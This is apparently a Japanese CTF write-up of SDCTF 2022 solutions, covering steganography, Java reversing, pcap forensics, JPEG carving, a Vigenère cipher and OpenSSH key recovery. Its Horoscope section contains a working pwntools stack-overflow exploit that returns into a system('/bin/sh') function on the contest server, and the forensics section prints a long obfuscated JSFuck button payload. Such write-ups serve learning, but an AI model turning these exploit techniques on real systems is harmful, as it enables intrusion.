この大会は2022/5/7 9:00(JST)~2022/5/9 9:00(JST)に開催されました。
今回もチームで参戦。結果は1255点で615チーム中105位でした。
自分で解けた問題をWriteupとして書いておきます。
Ishihara test++ (MISC 100)
svgファイルで、6色が似た色になっているので、全然異なる色にして表示してみると、フラグが浮き出てきた。
sdctf{c0untle55_col0rfu1_c0lors_cov3ring_3veryth1ng}
Horoscope (PWN 100)
Ghidraでデコンパイルする。
undefined8 main(void) { char local_38 [48]; puts("Welcome to SDCTF\'s very own text based horoscope"); puts( "please put in your birthday and time in the format (month/day/year/time) and we will have you r very own horoscope" ); fflush(stdout); fgets(local_38,0x140,stdin); processInput(local_38); return 0; } void processInput(char *param_1) { char *__nptr; int local_1c; char *local_18; int local_c; __nptr = strtok(param_1,"/"); for (local_1c = 0; local_1c < 4; local_1c = local_1c + 1) { if (local_1c == 0) { local_c = atoi(__nptr); } if (local_1c == 3) { atoi(__nptr); } } switch(local_c) { default: puts("thats not a valid date >:-("); fflush(stdout); /* WARNING: Subroutine does not return */ exit(1); case 1: local_18 = "January"; break; case 2: local_18 = "February"; break; case 3: local_18 = "March"; break; case 4: local_18 = "April"; break; case 5: local_18 = "May"; break; case 6: local_18 = "June"; break; case 7: local_18 = "July"; break; case 8: local_18 = "August"; break; case 9: local_18 = "September"; break; case 10: local_18 = "October"; break; case 0xb: local_18 = "November"; break; case 0xc: local_18 = "December"; } printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", local_18); fflush(stdout); return; } void debug(void) { temp = 1; return; } void test(void) { if (temp == 1) { system("/bin/sh"); } return; }
$ gdb -q ./horoscope Reading symbols from ./horoscope...(no debugging symbols found)...done. gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r Starting program: /mnt/hgfs/Shared/horoscope Welcome to SDCTF's very own text based horoscope please put in your birthday and time in the format (month/day/year/time) and we will have your very own horoscope 1/AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL wow, you were born in the month of January. I think that means you will have a great week! :) Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7af2104 (<__GI___libc_write+20>: cmp rax,0xfffffffffffff000) RDX: 0x0 RSI: 0x7ffff7dcf8c0 --> 0x0 RDI: 0x1 RBP: 0x4141314141624141 ('AAbAA1AA') RSP: 0x7fffffffde08 ("GAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n") RIP: 0x4007bc (<main+101>: ret) R8 : 0x7ffff7dcf8c0 --> 0x0 R9 : 0x7ffff7fde4c0 (0x00007ffff7fde4c0) R10: 0xfffffff9 R11: 0x246 R12: 0x400670 (<_start>: xor ebp,ebp) R13: 0x7fffffffdee0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4007b1 <main+90>: call 0x4007bd <processInput> 0x4007b6 <main+95>: mov eax,0x0 0x4007bb <main+100>: leave => 0x4007bc <main+101>: ret 0x4007bd <processInput>: push rbp 0x4007be <processInput+1>: mov rbp,rsp 0x4007c1 <processInput+4>: sub rsp,0x40 0x4007c5 <processInput+8>: mov QWORD PTR [rbp-0x38],rdi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffde08 ("GAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n") 0008| 0x7fffffffde10 ("AHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n") 0016| 0x7fffffffde18 ("AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n") 0024| 0x7fffffffde20 ("4AAJAAfAA5AAKAAgAA6AAL\n") 0032| 0x7fffffffde28 ("A5AAKAAgAA6AAL\n") 0040| 0x7fffffffde30 --> 0xa4c4141364141 ('AA6AAL\n') 0048| 0x7fffffffde38 --> 0x3c44afd41a0b7a64 0056| 0x7fffffffde40 --> 0x400670 (<_start>: xor ebp,ebp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004007bc in main () gdb-peda$ patto GAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL GAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 54
BOFで"1/"+ 任意の54バイトの後にdebug関数のアドレスを配置し、リターンアドレスの位置にtest関数のアドレスを配置する。
from pwn import * if len(sys.argv) == 1: p = remote('horoscope.sdc.tf', 1337) else: p = process('./horoscope') elf = ELF('./horoscope') debug_addr = elf.symbols['debug'] test_addr = elf.symbols['test'] payload = b'1/' + b'A' * 54 payload += p64(debug_addr) payload += p64(test_addr) data = p.recvline().rstrip().decode() print(data) data = p.recvline().rstrip().decode() print(data) print(payload) p.sendline(payload) data = p.recvuntil(b':)').decode() print(data) p.interactive()
実行結果は以下の通り。
[+] Opening connection to horoscope.sdc.tf on port 1337: Done [*] '/mnt/hgfs/Shared/horoscope' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Welcome to SDCTF's very own text based horoscope please put in your birthday and time in the format (month/day/year/time) and we will have your very own horoscope b'1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAn\t@\x00\x00\x00\x00\x00P\t@\x00\x00\x00\x00\x00' wow, you were born in the month of January. I think that means you will have a great week! :) [*] Switching to interactive mode $ ls flag.txt horoscope $ cat flag.txt sdctf{S33ms_y0ur_h0rO5c0p3_W4s_g00d_1oD4y}
sdctf{S33ms_y0ur_h0rO5c0p3_W4s_g00d_1oD4y}
Oracle (REVENGE 130)
Bytecode Viewerでデコンパイルする。
import java.io.Console; public class Oracle { private static final int FLAG_LENGTH = 42; private static final byte[] CHECK = new byte[]{48, 6, 122, -86, -73, -59, 78, 84, 105, -119, -36, -118, 70, 17, 101, -85, 55, -38, -91, 32, -18, -107, 53, 99, -74, 67, 89, 120, -41, 122, -100, -70, 34, -111, 21, -128, 78, 27, 123, -103, 36, 87}; private static byte[] numbers; private static void firstPass() { for(int var0 = 0; var0 < 42; ++var0) { byte[] var10000 = numbers; var10000[var0] = (byte)(var10000[var0] ^ 3 * var0 * var0 + 5 * var0 + 101 + var0 % 2); } } private static void secondPass() { byte[] var0 = new byte[42]; for(int var1 = 0; var1 < 42; ++var1) { var0[var1] = (byte)(numbers[(var1 + 42 - 1) % 42] << 4 | (numbers[var1] & 255) >> 4); } numbers = var0; } private static void thirdPass() { for(int var0 = 0; var0 < 42; ++var0) { byte[] var10000 = numbers; var10000[var0] = (byte)(var10000[var0] + 7 * var0 * var0 + 31 * var0 + 127 + var0 % 2); } } private static void fail() { System.out.println("That's not the flag. Try again."); System.exit(1); } public static void main(String[] var0) { Console var1 = System.console(); numbers = var1.readLine("Enter flag: ").getBytes(); if (numbers.length != 42) { fail(); } firstPass(); secondPass(); thirdPass(); int var2 = 0; for(int var3 = 0; var3 < 42; ++var3) { var2 |= CHECK[var3] ^ numbers[var3]; } if (var2 != 0) { fail(); } System.out.println("Good job. You found the flag!"); } }
フラグは以下の条件を満たす必要がある。
・長さが42バイト ・firstPass, secondPass, thirdPass実行後にvar2の計算で0になる。
ある文字と前後の文字が影響を受けるので、1文字ずつ条件を満たすものをブルートフォースで求める。このとき、フラグは"}"で終わることを前提にコードにした。
public class Solve { private static final byte[] CHECK = new byte[]{48, 6, 122, -86, -73, -59, 78, 84, 105, -119, -36, -118, 70, 17, 101, -85, 55, -38, -91, 32, -18, -107, 53, 99, -74, 67, 89, 120, -41, 122, -100, -70, 34, -111, 21, -128, 78, 27, 123, -103, 36, 87}; private static byte firstPass1(byte num, int i) { return (byte)(num ^ 3 * i * i + 5 * i + 101 + i % 2); } private static byte secondPass1(byte num0, byte num1) { return (byte)(num0 << 4 | (num1 & 255) >> 4); } private static byte thirdPass1(byte num, int i) { return (byte)(num + 7 * i * i + 31 * i + 127 + i % 2); } private static byte allPass1(byte pre, byte cur, int pre_i, int cur_i) { byte v0, v1, v2, v3; v0 = firstPass1(pre, pre_i); v1 = firstPass1(cur, cur_i); v2 = secondPass1(v0, v1); v3 = thirdPass1(v2, cur_i); return v3; } public static void main(String[] args) { byte cur_v, next_v; byte[] flag = new byte[42]; flag[41] = (byte)'}'; for (int i = 0; i < 41; i++) { for (int code = 32; code < 127; code++) { int preIndex = (i + 42 - 1) % 42; cur_v = allPass1(flag[preIndex], (byte)code, preIndex, i); if (cur_v == CHECK[i]) { boolean found = false; for (int code2 = 32; code2 < 127; code2++) { next_v = allPass1((byte)code, (byte)code2, i, i + 1); if (next_v == CHECK[i + 1]) { found = true; break; } } if (found == true) { flag[i] = (byte)code; break; } } } } System.out.println(new String(flag)); } }
sdctf{u_f0und_th3_LANGu4ge_0f_th1s_0r4cl3}
Flag Trafficker (FORENSICS 150)
httpでフィルタリングする。
No.5732のパケットで、以下のようなHTMLデータがあった。
<!DOCTYPE html> <html> <body> <button type="button" onclick="[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])())"> Click to display the flag!</button> </body> </html>
この部分をHTMLファイルとしてエクスポートする。エクスポートしたHTMLファイルをブラウザで開き、[Click to display the flag!]ボタンをクリックすると、フラグが表示された。
sdctf{G3T_F*cK3d_W1r3SHaRK}
Susan Album Party (FORENSICS 100)
jpgが複数含まれているので、バイナリエディタで位置を確認しながら、抽出する。抽出した画像にフラグの断片が見つかるので、結合する。
#!/usr/bin/env python3 with open('stub', 'rb') as f: data = f.read() with open('flag1.jpg', 'wb') as f: f.write(data[:0x232d]) with open('flag2.jpg', 'wb') as f: f.write(data[0x7640:0xd0f9]) with open('flag3.jpg', 'wb') as f: f.write(data[0xe443:0xfcad])
sdctf{FFD8_th3n_S0ME_s7uff_FFD9}
Vinegar (CRYPTO 100)
Vigenere暗号。https://www.guballa.de/vigenere-solverで復号する。
sdctf{couldntuseleetstringsinthisonesadlybutwemadeitextralongtocompensate}
Key Recovery (CRYPTO 250)
base64デコードしたバイナリから、各パラメータの位置を確認する。
https://coolaj86.com/articles/the-openssh-private-key-format/を参考にし、実験しながら整理する。
32-bit length, sshpub :0x0197, 0x2b-0x1c1 32-bit length, keytype :0x07, "ssh-rsa" 32-bit length, pub0 :0x03, 0x3a-0x3c(=0x010001=e) 32-bit length, pub1 :0x0181, 0x41-0x1c1(=0x00e365...2f21=n) 32-bit length for rnd+prv+comment+pad : 0x580(0x1c6-0x745) 64-bit dummy checksum? :0xa9cc23cda9cc23cd 32-bit length, keytype :0x07, "ssh-rsa" 32-bit length, pub0 :0x0181, 0x1dd-0x35d(=0x00e365...2f21=n) 32-bit length, pub1 :0x03, 0x362-0x364(=0x010001=e) 32-bit length, prv0 :0x0181, 0x369-0x4e9(=0x00892c...48a1=d) 32-bit length, prv1 :0xc0, 0x4ee-0x5ad(=0x????...c519=1/p mod q) 32-bit length, prv2 :0xc1, 0x5b2-0x672(=0x????...????=p) 32-bit length, prv3 :0xc1, 0x677-0x737(=0x????...????=q) 32-bit length, comment :0x05, "SDCTF" padding bytes 0x010203 :0x0102030405
n, e, d がわかるので、その値からRSAキーオブジェクトを構築し、p, q, 1/p mod qを取得する。あとは再度、秘密鍵のデータに構成し直して、id_rsaを復元する。
#!/usr/bin/env python3 from base64 import * from Crypto.PublicKey import RSA from Crypto.Util.number import * KEY = 'id_rsa' COR = 'id_rsa.corrupted' OFFSET_LENGTHS = [(454 + 808, 190), (454 + 1004, 193), (454 + 1201, 193)] with open(COR) as pk: lines = list(pk) b64 = ''.join((line[:-1] for line in lines[1:-1])) bys = bytearray(b64decode(b64)) for i in range(len(OFFSET_LENGTHS)): s = bys[OFFSET_LENGTHS[i][0]:OFFSET_LENGTHS[i][0] + OFFSET_LENGTHS[i][1]] assert s == b'\x00' * len(s) n = int(bys[0x1dd:0x35e].hex(), 16) e = int(bys[0x362:0x365].hex(), 16) d = int(bys[0x369:0x4ea].hex(), 16) privkey = RSA.construct((n, e, d)) p = privkey.p q = privkey.q pinv = privkey.u assert n == p * q assert hex(pinv)[-4:] == 'c519' bys[0x4ee:0x5ae] = long_to_bytes(pinv).rjust(0xc0, b'\x00') bys[0x5b2:0x673] = long_to_bytes(q).rjust(0xc1, b'\x00') bys[0x677:0x738] = long_to_bytes(p).rjust(0xc1, b'\x00') b64 = b64encode(bytes(bys)) id_rsa = b'-----BEGIN OPENSSH PRIVATE KEY-----\n' for i in range(0, len(b64), 70): id_rsa += b64[i:i+70] + b'\n' id_rsa += b'-----END OPENSSH PRIVATE KEY-----\n' with open(KEY, 'wb') as f: f.write(id_rsa)
$ sha256sum id_rsa 687a497b47a7e8e6e88cafc6181fa0b3676548b989e7bff9bc87d55d450abd51 id_rsa
sdctf{687a497b47a7e8e6e88cafc6181fa0b3676548b989e7bff9bc87d55d450abd51}
Survey (MISC 0)
アンケートに答えたら、フラグが表示された。
sdctf{Suv3y_s@ys_Gr3AT_W0rK!}